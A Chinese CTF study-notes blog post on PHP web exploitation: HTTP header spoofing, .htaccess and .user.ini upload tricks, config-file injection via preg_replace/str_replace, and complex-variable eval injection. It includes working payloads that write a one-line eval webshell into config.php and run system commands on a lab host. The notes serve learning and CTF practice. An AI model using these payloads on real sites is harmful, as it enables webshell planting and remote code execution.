简单说就是假如浏览器使用了IP地址代理,这个字段就是最后一跳代理的IP,如果没有IP,就仍然是浏览器的地址。Remote Address为HTTP请求的源地址,HTTP协议三次握手与发送响应报文时都使用的此地址,因此一旦请求者伪造Remote Address地址,他将无法收到HTTP响应报文,此时伪造没有任何意义。这也就使得Remote Address默认具有防篡改的功能。由于XFF可以修改,所以在进行与安全有关的操作时,只能通过Remote Address获取用户的IP地址,不能相信任何请求头。

这个字段我没有见过,从网上搜索是不是http头部字段,也找不到明确的说法。。。就先这样吧

Referer & Origin

referer显示来源页面的完整地址,而origin显示来源页面的协议+主机名: protocal+host,不包含路径等信息,也就不会包含含有用户信息的敏感内容,referer存在于所有请求,而origin只存在于post请求随便在页面上点击一个链接将不会发送origin,因此origin较referer更安全,多用于防范CSRF攻击。

题目类型

你必须来自39.156.66.18这个ip下的https域名

Referer: https://www.baidu.com

0x24 文件上传

条件竞争

伪协议上传

文件上传漏洞包括.user.ini等上传

  • .htaccess文件上传
SetHandler application/x-httpd-php  	//解析所有

AddHandler php5-script png			
AddType application/x-httpd-php png   //后缀中包含png,解析为php文件


<FilesMatch "ajest">				//文件名或者后缀中出现ajest就会解析
SetHandler application/x-httpd-php
</FilesMatch>
  • .user.ini文件上传
auto_prepend_file 
auto_append_file

0x25 配置文件写入问题漏洞(preg_replace|str_replace)

题一

靶场地址: http://uu0lo9a3.lab.aqlab.cn/

登录config.php后返现是phpinfo()页面,提示是config.php文件命令执行,做这道题的前提是已经知道了源码

index.php

<?php
if(!isset($_GET['option'])) die();
# 如果没有传参,那么就退出当前脚本
$str = addslashes($_GET['option']);
# 对传的参数过滤,addslashes会对单引号、双引号、NUL和反斜线转义
$file = file_get_contents('./config.php');
# 获取当前目录下config.php文件的源码赋值给$file
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
# 将$file中$option的值换成我们输入的参数值
file_put_contents('./config.php', $file);
# 一般情况下覆盖式的写入到config.php,$option的值被更新了

config.php

<?php
$option='test';

所以我们需要将一句话木马写入到config.php的话,首先要被addslashes()过滤,这个函数过滤单引号(')、双引号(")、反斜线(\)与 NUL(null字符)。然后一句话木马是在两个单引号之间,所以就需要闭合前面的单引号,并且注释掉后面的单引号,格式就是';xxxxx;//或者';xxxxx;/*或者;xxxxx;#

Payload

a\';phpinfo();//';

addslashes()处理后,变成了

a\\\';phpinfo();//';

**preg_replace函数在处理字符串的时候,会自动对第二个参数的\这个字符进行反转移.**WP中写道,如果字符串是 \\\',经过 preg_replace()的处理,就变为 \\',第一个反斜线把第二个给转译成普通的反斜线,从而单引号就不会被转义了,前面的单引号也就闭合了.

最后写入到config.php的内容是

<?php
$option='a\\';eval($_REQUEST[8]);//';

中间的一句话就能执行了,eval也可以换成assert,中间可以有多个PHP语句

靶场中直接像上面一样写一句话没有成功,option参数中如果含有.evalsystem会报错,绕了个圈子才好,但是看源码跟上面给出的一样,不知道是什么原因,可能是防火墙一类

?option=a\%27;highlight_file(__FILE__);$_GET[1]($_GET[2]);//
=> config.php?1=system&2=ls
# 会报错,但是执行了 bin config.php dev etc flag.php home index.php lib media mnt opt proc root run sbin srv sys tmp usr var

?option=a\%27;highlight_file(__FILE__);$_GET[1]($_GET[2]);//
=> config.php?1=highlight_file&2=flag.php

readfile()函数成功时返回从文件中读的字节数,或者在失败的时候返回flase,所以要用highlight_file()

题二

2022年1月1日BMZCTF中恰好有一道类似的题,G了

index.php

 <?php
highlight_file(__FILE__);
error_reporting(0);

function new_addslashes($string) {
# 分别对string和数组的值用new_addslashes过滤
     if(!is_array($string)) return addslashes($string);
     foreach($string as $key => $val) $string[$key] = new_addslashes($val);
     return $string;
 }
if(!get_magic_quotes_gpc()) {
# 对每个接收的参数进行addslashes过滤
    $_POST = new_addslashes($_POST);
    $_GET = new_addslashes($_GET);
    $_REQUEST = new_addslashes($_REQUEST);
    $_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {
# 如果post传参sudo 
    $file = __DIR__ .'/config.php';
    # file指向当前目录的config.php
    require $file;
    # 包含config.php
    $key = $_POST['info']['name'];
    # 传入的info是一个数组,将name键的值赋值给$key
    if(!isset($LANG[$key])) {
    # 如果没有设置$LANG数组中的$key的值
        $content = file_get_contents($file);
        $content = substr($content,0,-3);
        $data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
        # 接收post的值,参数是no1,然后将  $LANG[$_POST['info']['name']] = $_POST[no1]写到config.php的下面一行
        file_put_contents($file,$data);
    } elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
    # 如果存在下标为$key的$LANG数组($key=$_POST['info']['name'];)并且这个数组的值不等于$_POST['no1']
        $content = file_get_contents($file);
        
        $content = str_replace($LANG[$key],$_POST['no1'],$content);
        # $LANG[$_POST['info']['name']] = $_POST[no1] 注意哦,$LANG[$_POST['info']['name']]是一个值,比如在这道题的poc中,第一次、第三次post的值都是`sudo=1&info[name]=b&no1=\`,第三次传入参数时,$LANG[$_POST['info']['name']]的值是`\`(可以打印看一下),然后就会把所有`\`替换成反斜线转义后的`\\`,这样每个`\`就成对出现了
      
        file_put_contents($file,$content);
    }
}
if(isset($_GET['re'])){
# 如果get传参re
    file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
   //<?php $LANG['member_manage'] = 'admin';?> 写入config.php 

访问config.php没有任何回显,这里跟第一道题不同的就是修改config.php的函数是**str_replace()**而不是preg_replace()。之前的那种利用preg_replace()反转义的方法就嗝屁了。

这是一个WP https://seizer.top/post/2022-01/BMZCTF/

post:
sudo=1&info[name]=b&no1=\
sudo=1&info[name]=a&no1=';phpinfo();#
sudo=1&info[name]=b&no1=\				

config.php的变化如下:

<?php
$LANG['member_manage'] = 'admin';

$LANG['b'] = '\\';
?>
<?php
$LANG['member_manage'] = 'admin';

$LANG['b'] = '\\';
$LANG['a'] = '\';phpinfo();#';
?>
<?php
$LANG['member_manage'] = 'admin';

$LANG['b'] = '\\\\';
$LANG['a'] = '\\';phpinfo();#';
?>

0x26 PHP复杂变量

https://www.cnblogs.com/zpchcbd/p/13590920.html

https://www.chabug.org/ctf/425.html

index.php

<?php
highlight_file(__FILE__);
$str = $_GET['str'];
$str = addslashes($str);
eval('$a="' . $str . '";');
var_dump($a);
?>

payload

?str=";${${phpinfo()}};//
?str=";{${phpinfo()}};//

这两个的区别无非是第一个有两个Notice,第二个有1一个Notice

eval($str="${${phpinfo()}}";)     →   可以执行phpinfo()
${phpinfo()} = {${phpindo()}}

PHP复杂变量{}不能被转义,其包裹的部分可当作变量 花括号{}只是用于区别变量边界的标识符

靶场

index.php

<?
#GOAL: gather some phpinfo();
function flag(){
    
    echo "flag{I'm xxxxxxxxxxxxxxxxxxxx}";
}
   
$str=@(string)$_GET['str'];
@eval('$str="'.addslashes($str).'";');
?>

0x N 杂

PHP的几种引用

php中引用&的真正理解-变量引用、函数引用、对象引用

<?php
$a = 10;
$b = $a;			//可以理解为赋值
$b = $b + 1;
echo $a;	//10
echo "|";
echo $b;	//11
echo "<hr />";
$c = &$a;
$c = $c + 1;
echo $a;	//11
echo "|";
echo $c;	//11
?>

PHP中print_recho()

php中print(),print_r(),echo()的区别详解

关于eval_r

eval_r()

关于fopen

fopen()

关于<?=?>

https://blog.csdn.net/hsd2012/article/details/51194554

关于PHP7引入的???:

PHP7 引入的“??” 和“?:”的区别

关于类中的var()变量

var 一般是出现在类中。一般的过程和函数不要 var定义变量.
且它的级别为public。亦不能用任何其它的修饰符。需要注意的是:在成员方法中亦不能这样声明。

\x0x\u

  • 0x表示十六进制的整数
>>> a = 0x42
>>> type(a)
<class 'int'>
  • \x用于字符表达,或者字符串表达。前面的\表示转义,\x是16进制,后面跟两位,表示单字节编码
>>> a = b'\x42'
>>> type(a)
<class 'bytes'>
>>> a.decode('utf8')
'B'

以上两个都是十六进制的表示,之间的关系用Python表示\xaa = chr(0xaa) = chr(16*a+a)

\d是十进制,\o是八进制

  • \uunicode编码,一般后跟4个16进制数,因此一般为unicode-16
>>> str = b'\u4f60\u597d'
>>> type(str)
<class 'bytes'>
>>> str.decode('unicode_escape')
'你好'

GB2312,GBK,Unicode的理解

ASCII码、GB2312

CTF记实

0x01 2021湖湘杯(0flag)

$assign

view()

0x02 2021西湖论剑(0flag)

$_FILES

basename()

stristr()

move_uploaded_file()

github寻找源码

异或 构造无字母数字一句话

.user.ini 文件上传

多文件 文件上传

0x03 2021南理CTF(限本科生,1flag)

namespace

.= 累积

//.=通俗的说,就是累积。
//比如:
$a = 'a'; //赋值
$b = 'b'; //赋值
$c = 'c'; //赋值
$c .= $a;
$c .= $b;

echo $c; 就会显示 cab

spl_autoload_register

protected

伪造client IP以及代理IP地址

2021 摆烂杯(1flag)

error_reporting(0)

请输入三个整数A、B、C,ABC均不可为0,使得:
A3+B3+C3=114

无论是3个数还是2个数的立方还是1个数,都不可能做出来,但是

2022 BMZCTF(0flag)

推荐阅读

CTF Wiki

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章           查看所有文章
加:2022-01-04 13:13:02  更:2022-01-04 13:13:43 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 4:44:50-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计